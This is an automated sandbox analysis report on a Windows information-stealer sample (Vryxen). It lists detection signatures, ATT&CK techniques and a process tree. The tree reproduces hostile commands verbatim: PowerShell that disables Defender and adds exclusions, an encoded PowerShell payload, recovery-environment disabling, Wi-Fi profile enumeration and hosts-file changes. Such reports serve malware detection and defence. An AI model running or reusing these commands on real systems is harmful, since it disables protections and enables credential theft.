Overview

overview

10

Static

static

10

2026-03-16...ch.exe

windows10-2004-x64

10

2026-03-16...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    102s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    16/03/2026, 04:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
  • Size 10.8MB
  • Sample260316-e2qhssct71
  • SHA256 82442409a93cdadb106e89e144882332fed0e27820db6bca62641e44f2531291
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
credential_accessdefense_evasiondiscoveryexecutionvryxenpersistenceprivilege_escalationspywarestealertrojan

Malware Config

Signatures

  • Detects Vryxen stealer 1 IoCs
  • Vryxen

    Vryxen is an open-source stealer written in Golang.

    stealervryxen
  • Vryxen family
    vryxen
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Drops file in Drivers directory 3 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Drops file in System32 directory 2 IoCs
  • Enumerates processes with tasklist 1 TTPs 36 IoCs
    discovery
  • Drops file in Windows directory 4 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

    defense_evasion
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 1 IoCs
    defense_evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3272
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4208
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360chrome.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1200
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq 360se.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3972
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq 360se.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3924
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq avant.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2492
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq avant.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq brave.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:708
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq brave.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:648
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1252
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chrome.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4332
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq chromium.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq chromium.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1932
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq citrio.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:480
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq citrio.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4528
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq comodo_dragon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq comodo_dragon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4272
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coolnovo.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coolnovo.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4420
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq coowon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4500
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq coowon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4536
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq cyberfox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:644
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq cyberfox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2456
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq deepnet.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4712
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq deepnet.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2376
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq dooble.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq dooble.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2240
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq epic.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq epic.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1520
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq firefox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq firefox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:488
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iceweasel.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iceweasel.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3232
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq iridium.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3472
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq iridium.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4580
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq k-meleon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2320
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq k-meleon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4008
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq maxthon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3340
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq maxthon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:236
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1664
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq msedge.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3660
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq netscape.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq netscape.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4284
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq opera.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1048
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq opera.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5080
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq palemoon.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1172
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq palemoon.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:5040
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq safari.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2896
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq safari.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:3180
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq seamonkey.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq seamonkey.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1576
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sleipnir.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1880
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sleipnir.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4804
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq sputnik.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4976
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq sputnik.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4988
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq torch.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1216
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq torch.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq ucbrowser.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4152
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq ucbrowser.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2428
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq vivaldi.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:804
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq vivaldi.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:1828
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq waterfox.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4824
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq waterfox.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4724
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandex.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4436
      • C:\Windows\system32\tasklist.exe
        tasklist /FI "IMAGENAME eq yandex.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4080
    • C:\Windows\system32\cmd.exe
      cmd /C tasklist /FI "IMAGENAME eq yandexbrowser.exe"
      2⤵
        PID:3120
        • C:\Windows\system32\tasklist.exe
          tasklist /FI "IMAGENAME eq yandexbrowser.exe"
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1220
      • C:\Windows\system32\cmd.exe
        cmd /C tasklist /FI "IMAGENAME eq operagx.exe"
        2⤵
          PID:2004
          • C:\Windows\system32\tasklist.exe
            tasklist /FI "IMAGENAME eq operagx.exe"
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4512
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
          2⤵
          • Views/modifies file attributes
          PID:1920
        • C:\Windows\system32\reagentc.exe
          reagentc.exe /disable
          2⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:3960
        • C:\Windows\system32\tasklist.exe
          tasklist
          2⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2852
        • C:\Windows\system32\attrib.exe
          attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
          2⤵
          • Views/modifies file attributes
          PID:560
        • C:\Windows\system32\tasklist.exe
          tasklist
          2⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\2026-03-16_1f44dd6ce3e8e68e95d4c5e2317dd237_coinminer_dosia_glassworm_ngrbot_poet-rat_quasar-rat_snatch.exe
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3104
        • C:\Windows\System32\Wbem\wmic.exe
          wmic os get Caption
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4272
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          2⤵
            PID:3184
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            2⤵
            • Detects videocard installed
            PID:2376
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            2⤵
              PID:2016
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              2⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:4624
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Disables one or more Microsoft Defender components
              PID:3244
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              2⤵
                PID:3660
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\m5t4fwza\m5t4fwza.cmdline"
                  3⤵
                    PID:4492
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES21CB.tmp" "c:\Users\Admin\AppData\Local\Temp\m5t4fwza\CSC5FBAA27F4BAC4CE4A866F6EE2F5E366D.TMP"
                      4⤵
                        PID:5100
                  • C:\Windows\system32\attrib.exe
                    attrib -r C:\Windows\System32\drivers\etc\hosts
                    2⤵
                    • Drops file in Drivers directory
                    • Views/modifies file attributes
                    PID:2836
                  • C:\Windows\system32\attrib.exe
                    attrib +r C:\Windows\System32\drivers\etc\hosts
                    2⤵
                    • Drops file in Drivers directory
                    • Views/modifies file attributes
                    PID:4264

                Network

                      MITRE ATT&CK Enterprise v16

                      Reconnaissance

                      Resource Development

                      Initial Access

                      Execution

                      Command and Scripting Interpreter

                      1
                      T1059

                      PowerShell

                      1
                      T1059.001

                      Persistence

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Privilege Escalation

                      Boot or Logon Autostart Execution

                      1
                      T1547

                      Registry Run Keys / Startup Folder

                      1
                      T1547.001

                      Event Triggered Execution

                      1
                      T1546

                      Netsh Helper DLL

                      1
                      T1546.007

                      Defense Evasion

                      Hide Artifacts

                      1
                      T1564

                      Hidden Files and Directories

                      1
                      T1564.001

                      Impair Defenses

                      1
                      T1562

                      Disable or Modify Tools

                      1
                      T1562.001

                      Modify Registry

                      2
                      T1112

                      Obfuscated Files or Information

                      1
                      T1027

                      Command Obfuscation

                      1
                      T1027.010

                      Subvert Trust Controls

                      2
                      T1553

                      Install Root Certificate

                      2
                      T1553.004

                      Credential Access

                      Credentials from Password Stores

                      1
                      T1555

                      Credentials from Web Browsers

                      1
                      T1555.003

                      Unsecured Credentials

                      4
                      T1552

                      Credentials In Files

                      3
                      T1552.001

                      Credentials in Registry

                      1
                      T1552.002

                      Discovery

                      Browser Information Discovery

                      1
                      T1217

                      Process Discovery

                      1
                      T1057

                      System Information Discovery

                      1
                      T1082

                      System Network Configuration Discovery

                      1
                      T1016

                      Wi-Fi Discovery

                      1
                      T1016.002

                      Lateral Movement

                      Collection

                      Data from Local System

                      3
                      T1005

                      Command and Control

                      Web Service

                      1
                      T1102

                      Exfiltration

                      Impact

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      77EC63BDA74BD0D0E0426DC8F8008506
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
                      • Size 330B
                      • SHA256 d860aa156c75b038bbf722882f65c8f881de4f61121f57d9c58ab974d6d701da
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      powershell.exe.log
                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 4KB
                      • SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
                      • MD5 SHA1 SHA512 SSDEEP TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 08f10e2e703ff73c2e787516078f33d525747268642324e9d9525932ceec4db4
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      StartupProfileData-NonInteractive
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 93fd3c992521cef182e6847f4f6658c58cfd5bdde16d4732d1c055b3c9e34398
                      • MD5 SHA1 SHA512 TLSH
                      Submit Download

                      RES21CB.tmp
                      • Path C:\Users\Admin\AppData\Local\Temp\RES21CB.tmp
                      • Size 1KB
